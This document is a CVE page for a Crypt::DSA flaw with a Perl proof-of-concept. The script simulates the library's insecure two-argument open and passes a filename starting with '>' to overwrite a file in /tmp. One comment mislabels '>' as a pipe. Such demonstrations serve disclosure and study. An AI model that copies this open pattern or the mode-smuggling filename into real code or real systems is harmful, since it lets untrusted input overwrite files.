CVE-2026-8704: Crypt::DSA 任意文件修改漏洞

#!/usr/bin/perl # PoC for CVE-2026-8704: Demonstrating the insecure 2-arg open in Crypt::DSA <= 1.19 # This script simulates how a malicious filename can lead to arbitrary file modification. use strict; use warnings; # Simulating the vulnerable behavior found in Crypt::DSA::Key sub vulnerable_key_generation_simulation { my $user_input_filename = shift; print "[+] Attempting to write key to file using user input: $user_input_filename\n"; # VULNERABLE CODE PATTERN (2-arg open): # If $user_input_filename contains ">", it opens in write mode. # Example input: ">/tmp/malicious_file.txt" open(my $fh, $user_input_filename) or die "Cannot open file: $!"; # Simulating writing key data print $fh "-----BEGIN DSA PRIVATE KEY-----\n"; print $fh "MALICIOUS CONTENT INJECTED VIA 2-ARG OPEN\n"; print $fh "-----END DSA PRIVATE KEY-----\n"; close($fh); print "[+] File operation completed.\n"; } # Normal usage scenario # vulnerable_key_generation_simulation("dsa_key.pem"); # Exploitation scenario: # The attacker supplies a filename with a pipe '>' or path traversal '../' # to modify an existing sensitive file. print "[-] Starting Exploit Test...\n"; my $payload = ">/tmp/target_config.txt"; # Note: In a real scenario, this might come from a deserialized object or untrusted input. vulnerable_key_generation_simulation($payload); # Verify modification if (-e "/tmp/target_config.txt") { print "[SUCCESS] /tmp/target_config.txt was created/modified.\n"; } else { print "[FAIL] File not found.\n"; }